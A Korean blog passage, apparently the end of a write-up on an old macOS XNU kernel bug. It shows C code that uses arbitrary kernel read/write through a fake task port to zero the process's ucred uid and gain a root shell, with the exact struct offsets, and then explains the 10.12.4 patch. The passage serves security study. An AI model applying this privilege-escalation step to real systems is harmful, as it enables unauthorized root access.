fake port와 fake task의 모든 작업이 끝나고나서, 우리는 mach_vm_read,write를 통해 커널메모리에 원하는대로 읽기 및 쓰기가 가능하여 ucred 구조체의 uid를 root로 조작해 관리자권한을 획득할 수 있다.

마지막으로 다음과 같은 코드로 uid를 0으로 수정해주는 작업을 한다.

mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel vm_offset_t root_uid = 0; mach_msg_type_number_t write_bytes = 8; mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid,(mach_msg_type_number_t)write_bytes); // AAW in Kernel

위에서 언급했듯이, cred는 현재프로세스에서 0xe8만큼 떨어진곳에 존재하기때문에 주소를 알아내고, cred+0x18위치에 8바이트만큼 0으로 덮으면 위에 봤던 스크린샷과 같이 관리자권한의 쉘을 획득 할 수있다.

Patch

해당 버그는 10.12.3 이후부터 패치가 되었다. 어떻게 패치가 되었는지 10.12.4의 XNU 소스코드와 10.12.1의 소스코드를 비교해 볼 것이다.

좌측이 패치전, 우측이 패치후 모습이다. 보면 알겠지만 우리가 recipe 데이터를 조작 할 수 있었고, recipe_size또한 원하는대로 데이터를 넣을 수 있어서 오버플로우가 발생했다. 하지만 copyin을 했을때 recipe 구조체 멤버인 recipe_size만큼 복사하지 않아 원하는만큼의 데이터를 복사 할 수 없어 오버플로우가 발생하지 않는다.

참고

  • https://bugs.chromium.org/p/project-zero/issues/detail?id=1004
  • https://github.com/kpwn/yalu102
  • https://jaq.alibaba.com/community/art/show?articleid=781

기업문화 엿볼 때, 더팀스

로그인

/